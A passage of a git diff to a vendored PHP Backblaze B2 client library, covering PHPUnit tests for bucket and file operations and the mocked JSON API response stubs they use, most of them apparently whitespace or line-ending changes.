'list_buckets_0.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $buckets = $client->listBuckets(); + $this->assertIsArray($buckets); + $this->assertCount(0, $buckets); + } + + public function testDeleteBucket() + { + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'delete_bucket.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $this->assertTrue($client->deleteBucket([ + 'BucketId' => 'bucketId', + ])); + } + + public function testBadJsonThrownDeletingNonExistentBucket() + { + $this->expectException(BadJsonException::class); + + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(400, [], 'delete_bucket_non_existent.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $client->deleteBucket([ + 'BucketId' => 'bucketId', + ]); + } + + public function testBucketNotEmptyThrownDeletingNonEmptyBucket() + { + $this->expectException(BucketNotEmptyException::class); + + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(400, [], 'bucket_not_empty.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $client->deleteBucket([ + 'BucketId' => 'bucketId', + ]); + } + + public function testUploadingResource() + { + $container = []; + $history = Middleware::history($container); + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'get_upload_url.json'), + $this->buildResponseFromStub(200, [], 'upload.json'), + ], $history); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + // Set up the resource being uploaded. + $content = 'The quick brown box jumps over the lazy dog'; + $resource = fopen('php://memory', 'r+'); + fwrite($resource, $content); + rewind($resource); + + $file = $client->upload([ + 'BucketId' => 'bucketId', + 'FileName' => 'test.txt', + 'Body' => $resource, + ]); + + $this->assertInstanceOf(File::class, $file); + + // We'll also check the Guzzle history to make sure the upload request got created correctly. + $uploadRequest = $container[2]['request']; + $this->assertEqualsWithDelta('uploadUrl', $uploadRequest->getRequestTarget(), 0); + $this->assertEqualsWithDelta('authToken', $uploadRequest->getHeader('Authorization')[0], 0); + $this->assertEqualsWithDelta(strlen($content), $uploadRequest->getHeader('Content-Length')[0], 0); + $this->assertEqualsWithDelta('test.txt', $uploadRequest->getHeader('X-Bz-File-Name')[0], 0); + $this->assertEqualsWithDelta(sha1($content), $uploadRequest->getHeader('X-Bz-Content-Sha1')[0], 0); + $this->assertEqualsWithDelta( + round(microtime(true) * 1000), + $uploadRequest->getHeader('X-Bz-Info-src_last_modified_millis')[0], + 100 + ); + $this->assertInstanceOf(Stream::class, $uploadRequest->getBody()); + } + + public function testUploadingString() + { + $container = []; + $history = Middleware::history($container); + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'get_upload_url.json'), + $this->buildResponseFromStub(200, [], 'upload.json'), + ], $history); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $content = 'The quick brown box jumps over the lazy dog'; + + $file = $client->upload([ + 'BucketId' => 'bucketId', + 'FileName' => 'test.txt', + 'Body' => $content, + ]); + + $this->assertInstanceOf(File::class, $file); + + // We'll also check the Guzzle history to make sure the upload request got created correctly. + $uploadRequest = $container[2]['request']; + $this->assertEqualsWithDelta('uploadUrl', $uploadRequest->getRequestTarget(), 0.0); + $this->assertEqualsWithDelta('authToken', $uploadRequest->getHeader('Authorization')[0], 0.0); + $this->assertEqualsWithDelta(strlen($content), $uploadRequest->getHeader('Content-Length')[0], 0.0); + $this->assertEqualsWithDelta('test.txt', $uploadRequest->getHeader('X-Bz-File-Name')[0], 0.0); + $this->assertEqualsWithDelta(sha1($content), $uploadRequest->getHeader('X-Bz-Content-Sha1')[0], 0.0); + $this->assertEqualsWithDelta( + round(microtime(true) * 1000), + $uploadRequest->getHeader('X-Bz-Info-src_last_modified_millis')[0], + 100 + ); + $this->assertInstanceOf(Stream::class, $uploadRequest->getBody()); + } + + public function testUploadingWithCustomContentTypeAndLastModified() + { + $container = []; + $history = Middleware::history($container); + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'get_upload_url.json'), + $this->buildResponseFromStub(200, [], 'upload.json'), + ], $history); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + // My birthday :) + $lastModified = 701568000000; + $contentType = 'text/plain'; + + $file = $client->upload([ + 'BucketId' => 'bucketId', + 'FileName' => 'test.txt', + 'Body' => 'Test file content', + 'FileContentType' => $contentType, + 'FileLastModified' => $lastModified, + ]); + + $this->assertInstanceOf(File::class, $file); + + // We'll also check the Guzzle history to make sure the upload request got created correctly. + $uploadRequest = $container[2]['request']; + $this->assertEquals($lastModified, $uploadRequest->getHeader('X-Bz-Info-src_last_modified_millis')[0]); + $this->assertEquals($contentType, $uploadRequest->getHeader('Content-Type')[0]); + $this->assertInstanceOf(Stream::class, $uploadRequest->getBody()); + } + + public function testDownloadUrl() + { + $authorizeAccountString = file_get_contents(dirname(__FILE__).'/responses/authorize_account.json'); + $authorizeAccount = json_decode($authorizeAccountString); + $expectedFileContents = 'foo'; + $uriResponses = [ + 'https://api.backblazeb2.com/b2api/v1//b2_authorize_account' => $authorizeAccountString, + $authorizeAccount->downloadUrl.'/b2api/v1/b2_download_file_by_id' => $expectedFileContents, + ]; + + $clientMock = $this->getMockBuilder(\BackblazeB2\Http\Client::class)->getMock(); + $mockGuzzleRequest = function ($method, $uri = null, array $options = [], $asJson = true) use ($uriResponses) { + if (isset($options['headers']) && array_key_exists('Authorization', $options['headers'])) { + //If header is present, it must not be empty + $this->assertNotEmpty($options['headers']['Authorization'], sprintf('No authorization for uri %s', $uri)); + } + + if (isset($uriResponses[$uri])) { + $response = new \GuzzleHttp\Psr7\Response(200, [], $uriResponses[$uri]); + } else { + $response = new \GuzzleHttp\Psr7\Response(404, [], null); + } + + if ($asJson) { + return json_decode($response->getBody(), true); + } + + return $response->getBody()->getContents(); + }; + + $clientMock->expects($this->any()) + ->method('guzzleRequest') + ->will($this->returnCallback($mockGuzzleRequest)); + + $client = new Client('testId', 'testKey', ['client' => $clientMock]); + $actualFileContents = $client->download([ + 'FileId' => 'fileId', + ]); + + $this->assertSame($expectedFileContents, $actualFileContents); + } + + public function testDownloadByIdWithoutSavePath() + { + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'download_content'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $fileContent = $client->download([ + 'FileId' => 'fileId', + ]); + + $this->assertEquals($fileContent, 'The quick brown fox jumps over the lazy dog'); + } + + public function testDownloadByIdWithSavePath() + { + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'download_content'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $client->download([ + 'FileId' => 'fileId', + 'SaveAs' => __DIR__.'/test.txt', + ]); + + $this->assertFileExists(__DIR__.'/test.txt'); + $this->assertEquals('The quick brown fox jumps over the lazy dog', file_get_contents(__DIR__.'/test.txt')); + + unlink(__DIR__.'/test.txt'); + } + + public function testDownloadingByIncorrectIdThrowsException() + { + $this->expectException(BadValueException::class); + + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(400, [], 'download_by_incorrect_id.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $client->download([ + 'FileId' => 'incorrect', + ]); + } + + public function testDownloadByPathWithoutSavePath() + { + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'download_content'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $fileContent = $client->download([ + 'BucketName' => 'test-bucket', + 'FileName' => 'test.txt', + ]); + + $this->assertEquals($fileContent, 'The quick brown fox jumps over the lazy dog'); + } + + public function testDownloadByPathWithSavePath() + { + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'download_content'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $client->download([ + 'BucketName' => 'test-bucket', + 'FileName' => 'test.txt', + 'SaveAs' => __DIR__.'/test.txt', + ]); + + $this->assertFileExists(__DIR__.'/test.txt'); + $this->assertEquals('The quick brown fox jumps over the lazy dog', file_get_contents(__DIR__.'/test.txt')); + + unlink(__DIR__.'/test.txt'); + } + + public function testDownloadingByIncorrectPathThrowsException() + { + $this->expectException(NotFoundException::class); + + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(400, [], 'download_by_incorrect_path.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $client->download([ + 'BucketName' => 'test-bucket', + 'FileName' => 'path/to/incorrect/file.txt', + ]); + } + + public function testListFilesHandlesMultiplePages() + { + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'list_files_page1.json'), + $this->buildResponseFromStub(200, [], 'list_files_page2.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $files = $client->listFiles([ + 'BucketId' => 'bucketId', + ]); + + $this->assertIsArray($files); + $this->assertInstanceOf(File::class, $files[0]); + $this->assertCount(1500, $files); + } + + public function testListFilesReturnsEmptyArrayWithNoFiles() + { + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'list_files_empty.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $files = $client->listFiles([ + 'BucketId' => 'bucketId', + ]); + + $this->assertIsArray($files); + $this->assertCount(0, $files); + } + + public function testGetFile() + { + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'get_file.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $file = $client->getFile([ + 'FileId' => 'fileId', + ]); + + $this->assertInstanceOf(File::class, $file); + } + + public function testGettingNonExistentFileThrowsException() + { + $this->expectException(BadJsonException::class); + + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(400, [], 'get_file_non_existent.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $client->getFile([ + 'FileId' => 'fileId', + ]); + } + + public function testCopyFile() + { + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'list_files_page1.json'), + $this->buildResponseFromStub(200, [], 'copy_file.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $actual = $client->copy([ + 'BucketId' => 'sourceBucketId', + 'FileName' => 'sourceFileName', + 'SaveAs' => 'destinationFileName', + ]); + + $this->assertInstanceOf('BackblazeB2\File', $actual); + $this->assertEquals('4_z4c2b953461da9c825f260e1b_f1114dbf5bg9707e8_d20160206_m012226_c001_v1111017_t0010', $actual->getId()); + } + + public function testDeleteFile() + { + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'get_file.json'), + $this->buildResponseFromStub(200, [], 'delete_file.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $this->assertTrue($client->deleteFile([ + 'FileId' => 'fileId', + ])); + } + + public function testDeleteFileRetrievesFileNameWhenNotProvided() + { + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'get_file.json'), + $this->buildResponseFromStub(200, [], 'delete_file.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $this->assertTrue($client->deleteFile([ + 'FileId' => 'fileId', + ])); + } + + public function testDeletingNonExistentFileThrowsException() + { + $this->expectException(BadJsonException::class); + + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(400, [], 'delete_file_non_existent.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $client->deleteFile([ + 'FileId' => 'fileId', + 'FileName' => 'fileName', + ]); + } + + public function testAuthenticationTimeout() + { + $reflectionClass = new ReflectionClass('BackblazeB2\Client'); + $reflectionProperty = $reflectionClass->getProperty('reAuthTime'); + $reflectionProperty->setAccessible(true); + + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'create_bucket_public.json'), + ]); + + $client = new Client( + 'testId', + 'testKey', + [ + 'client' => $guzzle, + 'auth_timeout_seconds' => 2, + ] + ); + + $curTime = $reflectionProperty->getValue($client); + sleep(5); // let the token timeout + + // Something that will reaturhorize + $bucket = $client->createBucket([ + 'BucketName' => 'Test bucket', + 'BucketType' => Bucket::TYPE_PUBLIC, + ]); + + $newTime = $reflectionProperty->getValue($client); + $this->assertTrue($curTime->timestamp != $newTime->timestamp); + } +} diff --git a/vendor/gliterd/backblaze-b2/tests/TestHelper.php b/vendor/gliterd/backblaze-b2/tests/TestHelper.php index cbd6eef023..f578dedd1f 100644 --- a/vendor/gliterd/backblaze-b2/tests/TestHelper.php +++ b/vendor/gliterd/backblaze-b2/tests/TestHelper.php @@ -1,30 +1,30 @@ -push($history); - } - - return new HttpClient(['handler' => $handler]); - } - - protected function buildResponseFromStub($statusCode, array $headers, $responseFile) - { - $response = file_get_contents(dirname(__FILE__).'/responses/'.$responseFile); - - return new Response($statusCode, $headers, $response); - } -} +push($history); + } + + return new HttpClient(['handler' => $handler]); + } + + protected function buildResponseFromStub($statusCode, array $headers, $responseFile) + { + $response = file_get_contents(dirname(__FILE__).'/responses/'.$responseFile); + + return new Response($statusCode, $headers, $response); + } +} diff --git a/vendor/gliterd/backblaze-b2/tests/responses/authorize_account.json b/vendor/gliterd/backblaze-b2/tests/responses/authorize_account.json index 08d318fd1a..f1a925d12c 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/authorize_account.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/authorize_account.json @@ -1,6 +1,6 @@ -{ - "accountId": "testId", - "apiUrl": "https://api900.backblaze.com", - "authorizationToken": "testAuthToken", - "downloadUrl": "https://f900.backblaze.com" +{ + "accountId": "testId", + "apiUrl": "https://api900.backblaze.com", + "authorizationToken": "testAuthToken", + "downloadUrl": "https://f900.backblaze.com" } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/bucket_not_empty.json b/vendor/gliterd/backblaze-b2/tests/responses/bucket_not_empty.json index e57b65e668..f828386fba 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/bucket_not_empty.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/bucket_not_empty.json @@ -1,5 +1,5 @@ -{ - "code": "cannot_delete_non_empty_bucket", - "message": "Cannot delete non-empty bucket", - "status": 400 +{ + "code": "cannot_delete_non_empty_bucket", + "message": "Cannot delete non-empty bucket", + "status": 400 } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/copy_file.json b/vendor/gliterd/backblaze-b2/tests/responses/copy_file.json index 944b9b1634..61df0eb1e8 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/copy_file.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/copy_file.json @@ -1,14 +1,14 @@ -{ - "accountId": "accountId", - "bucketId": "bucketId", - "contentLength": 20, - "contentSha1": "bc77b0349d325be71ed2ca26d5e68173210e9e18", - "contentType": "application/octet-stream", - "fileId": "4_z4c2b953461da9c825f260e1b_f1114dbf5bg9707e8_d20160206_m012226_c001_v1111017_t0010", - "fileInfo": { - "src_last_modified_millis": "1454721688784" - }, - "action": "upload", - "uploadTimestamp": "1465983870000", - "fileName": "Test file.bin" -} +{ + "accountId": "accountId", + "bucketId": "bucketId", + "contentLength": 20, + "contentSha1": "bc77b0349d325be71ed2ca26d5e68173210e9e18", + "contentType": "application/octet-stream", + "fileId": "4_z4c2b953461da9c825f260e1b_f1114dbf5bg9707e8_d20160206_m012226_c001_v1111017_t0010", + "fileInfo": { + "src_last_modified_millis": "1454721688784" + }, + "action": "upload", + "uploadTimestamp": "1465983870000", + "fileName": "Test file.bin" +} diff --git a/vendor/gliterd/backblaze-b2/tests/responses/create_bucket_exists.json b/vendor/gliterd/backblaze-b2/tests/responses/create_bucket_exists.json index a446e0a4a9..a1cfae6696 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/create_bucket_exists.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/create_bucket_exists.json @@ -1,5 +1,5 @@ -{ - "code": "duplicate_bucket_name", - "message": "Bucket name is already in use.", - "status": 400 +{ + "code": "duplicate_bucket_name", + "message": "Bucket name is already in use.", + "status": 400 } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/create_bucket_private.json b/vendor/gliterd/backblaze-b2/tests/responses/create_bucket_private.json index 6920d26d0f..d66f86e3de 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/create_bucket_private.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/create_bucket_private.json @@ -1,6 +1,6 @@ -{ - "bucketId" : "4a48fe8875c6214145260818", - "accountId" : "010203040506", - "bucketName" : "Test bucket", - "bucketType" : "allPrivate" +{ + "bucketId" : "4a48fe8875c6214145260818", + "accountId" : "010203040506", + "bucketName" : "Test bucket", + "bucketType" : "allPrivate" } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/create_bucket_public.json b/vendor/gliterd/backblaze-b2/tests/responses/create_bucket_public.json index 34959dca13..8134124abd 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/create_bucket_public.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/create_bucket_public.json @@ -1,6 +1,6 @@ -{ - "bucketId" : "4a48fe8875c6214145260818", - "accountId" : "010203040506", - "bucketName" : "Test bucket", - "bucketType" : "allPublic" +{ + "bucketId" : "4a48fe8875c6214145260818", + "accountId" : "010203040506", + "bucketName" : "Test bucket", + "bucketType" : "allPublic" } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/delete_bucket.json b/vendor/gliterd/backblaze-b2/tests/responses/delete_bucket.json index c2fceb4ff5..76ee38731d 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/delete_bucket.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/delete_bucket.json @@ -1,6 +1,6 @@ -{ - "bucketId" : "testId", - "accountId" : "010203040506", - "bucketName" : "Test bucket", - "bucketType" : "allPrivate" +{ + "bucketId" : "testId", + "accountId" : "010203040506", + "bucketName" : "Test bucket", + "bucketType" : "allPrivate" } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/delete_bucket_non_existent.json b/vendor/gliterd/backblaze-b2/tests/responses/delete_bucket_non_existent.json index 87a4d5a32b..3086deb465 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/delete_bucket_non_existent.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/delete_bucket_non_existent.json @@ -1,5 +1,5 @@ -{ - "code": "bad_json", - "message": "bucketId not valid for account", - "status": 400 +{ + "code": "bad_json", + "message": "bucketId not valid for account", + "status": 400 } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/delete_file.json b/vendor/gliterd/backblaze-b2/tests/responses/delete_file.json index 9b2d33b7da..e7b5ea17d2 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/delete_file.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/delete_file.json @@ -1,4 +1,4 @@ -{ - "fileId": "1_z3c5bd336015abcc25f260e1b_g1120714ffb1e68f8_d20160207_g146154_c001_f0341018_t0032", - "fileName": "ripple.png" +{ + "fileId": "1_z3c5bd336015abcc25f260e1b_g1120714ffb1e68f8_d20160207_g146154_c001_f0341018_t0032", + "fileName": "ripple.png" } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/delete_file_non_existent.json b/vendor/gliterd/backblaze-b2/tests/responses/delete_file_non_existent.json index bb8a35748a..a1636c721b 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/delete_file_non_existent.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/delete_file_non_existent.json @@ -1,5 +1,5 @@ -{ - "code": "bad_json", - "message": "Bad fileId: 3_z3c5bd556012abdc25f260e1b_f1320712ffb1e68f8_d20154207_m145454_c;101_v0001038_t0032sfd", - "status": 400 +{ + "code": "bad_json", + "message": "Bad fileId: 3_z3c5bd556012abdc25f260e1b_f1320712ffb1e68f8_d20154207_m145454_c;101_v0001038_t0032sfd", + "status": 400 } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/download_by_incorrect_id.json b/vendor/gliterd/backblaze-b2/tests/responses/download_by_incorrect_id.json index 57f922edb1..2c3e4bf7d7 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/download_by_incorrect_id.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/download_by_incorrect_id.json @@ -1,5 +1,5 @@ -{ - "code": "bad_value", - "message": "bad fileId: 4_z4c2b957661da9c825f260e1b_f119f1fae240dae93_d20160131_m162947_c001_v0001015_t0020123123", - "status": 400 +{ + "code": "bad_value", + "message": "bad fileId: 4_z4c2b957661da9c825f260e1b_f119f1fae240dae93_d20160131_m162947_c001_v0001015_t0020123123", + "status": 400 } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/download_by_incorrect_path.json b/vendor/gliterd/backblaze-b2/tests/responses/download_by_incorrect_path.json index 8725f90ed8..6d3b4a0928 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/download_by_incorrect_path.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/download_by_incorrect_path.json @@ -1,5 +1,5 @@ -{ - "code": "not_found", - "message": "bucket testytest does not have file: sdjfbnsdf", - "status": 404 +{ + "code": "not_found", + "message": "bucket testytest does not have file: sdjfbnsdf", + "status": 404 } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/get_file.json b/vendor/gliterd/backblaze-b2/tests/responses/get_file.json index 944b9b1634..61df0eb1e8 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/get_file.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/get_file.json @@ -1,14 +1,14 @@ -{ - "accountId": "accountId", - "bucketId": "bucketId", - "contentLength": 20, - "contentSha1": "bc77b0349d325be71ed2ca26d5e68173210e9e18", - "contentType": "application/octet-stream", - "fileId": "4_z4c2b953461da9c825f260e1b_f1114dbf5bg9707e8_d20160206_m012226_c001_v1111017_t0010", - "fileInfo": { - "src_last_modified_millis": "1454721688784" - }, - "action": "upload", - "uploadTimestamp": "1465983870000", - "fileName": "Test file.bin" -} +{ + "accountId": "accountId", + "bucketId": "bucketId", + "contentLength": 20, + "contentSha1": "bc77b0349d325be71ed2ca26d5e68173210e9e18", + "contentType": "application/octet-stream", + "fileId": "4_z4c2b953461da9c825f260e1b_f1114dbf5bg9707e8_d20160206_m012226_c001_v1111017_t0010", + "fileInfo": { + "src_last_modified_millis": "1454721688784" + }, + "action": "upload", + "uploadTimestamp": "1465983870000", + "fileName": "Test file.bin" +} diff --git a/vendor/gliterd/backblaze-b2/tests/responses/get_file_non_existent.json b/vendor/gliterd/backblaze-b2/tests/responses/get_file_non_existent.json index e777923a79..80f81316c7 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/get_file_non_existent.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/get_file_non_existent.json @@ -1,5 +1,5 @@ -{ - "code": "bad_json", - "message": "Bad fileId: nonExistantFileId", - "status": 400 +{ + "code": "bad_json", + "message": "Bad fileId: nonExistantFileId", + "status": 400 } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/get_upload_url.json b/vendor/gliterd/backblaze-b2/tests/responses/get_upload_url.json index bebd2d9e70..6c4ddafc25 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/get_upload_url.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/get_upload_url.json @@ -1,5 +1,5 @@ -{ - "authorizationToken": "authToken", - "bucketId": "bucketId", - "uploadUrl": "uploadUrl" +{ + "authorizationToken": "authToken", + "bucketId": "bucketId", + "uploadUrl": "uploadUrl" } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/list_buckets_0.json b/vendor/gliterd/backblaze-b2/tests/responses/list_buckets_0.json index 3a6f4a5cd7..a61add39b5 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/list_buckets_0.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/list_buckets_0.json @@ -1,3 +1,3 @@ -{ - "buckets": [] +{ + "buckets": [] } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/list_buckets_3.json b/vendor/gliterd/backblaze-b2/tests/responses/list_buckets_3.json index cdcec10d99..7b6c4fe420 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/list_buckets_3.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/list_buckets_3.json @@ -1,22 +1,22 @@ -{ - "buckets": [ - { - "bucketId": "4a48fe8875c6214145260818", - "accountId": "30f20426f0b1", - "bucketName" : "Kitten Videos", - "bucketType": "allPrivate" - }, - { - "bucketId" : "5b232e8875c6214145260818", - "accountId": "30f20426f0b1", - "bucketName": "Puppy Videos", - "bucketType": "allPublic" - }, - { - "bucketId": "87ba238875c6214145260818", - "accountId": "30f20426f0b1", - "bucketName": "Vacation Pictures", - "bucketType" : "allPrivate" - } - ] +{ + "buckets": [ + { + "bucketId": "4a48fe8875c6214145260818", + "accountId": "30f20426f0b1", + "bucketName" : "Kitten Videos", + "bucketType": "allPrivate" + }, + { + "bucketId" : "5b232e8875c6214145260818", + "accountId": "30f20426f0b1", + "bucketName": "Puppy Videos", + "bucketType": "allPublic" + }, + { + "bucketId": "87ba238875c6214145260818", + "accountId": "30f20426f0b1", + "bucketName": "Vacation Pictures", + "bucketType" : "allPrivate" + } + ] } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/list_files_empty.json b/vendor/gliterd/backblaze-b2/tests/responses/list_files_empty.json index 0d473234c6..1be2b1fd97 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/list_files_empty.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/list_files_empty.json @@ -1,4 +1,4 @@ -{ - "files": [], - "nextFileName": null -} +{ + "files": [], + "nextFileName": null +} diff --git a/vendor/gliterd/backblaze-b2/tests/responses/list_files_page1.json b/vendor/gliterd/backblaze-b2/tests/responses/list_files_page1.json index 661af39b5c..3fff4ba88a 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/list_files_page1.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/list_files_page1.json @@ -1,6906 +1,6906 @@ -{ - "files": [ - { - "action": "upload", - "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", - "fileName": "sourceFileName", - "size": 140827, - "uploadTimestamp": 1454256286000 - }, - { - "action": "upload", - "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", - "fileName": "testfile.bin", - "size": 140827, - "uploadTimestamp": 1454256286000 - }, - { - "action": "upload", - "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", - "fileName": "testfile.bin", - "size": 140827, - "uploadTimestamp": 1454256286000 - }, - { - "action": "upload", - "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", - "fileName": "testfile.bin", - "size": 140827, - "uploadTimestamp": 1454256286000 - }, - { - "action": "upload", - "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", - "fileName": "testfile.bin", - "size": 140827, - "uploadTimestamp": 1454256286000 - }, - { - "action": "upload", - "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", - "fileName": "testfile.bin", - "size": 140827, - "uploadTimestamp": 1454256286000 - }, - { - "action": "upload", - "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", - "fileName": "testfile.bin", - "size": 140827, - "uploadTimestamp": 1454256286000 - }, - { - "action": "upload", - "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", - "fileName": "testfile.bin", - "size": 140827, - "uploadTimestamp": 1454256286000 - }, - { - "action": "upload", - "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", - "fileName": "testfile.bin", - "size": 140827, - "uploadTimestamp": 1454256286000 - }, - { - "action": "upload", - "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", - "fileName": "testfile.bin", - "size": 140827, - "uploadTimestamp": 1454256286000 - },{ - "action": "upload", 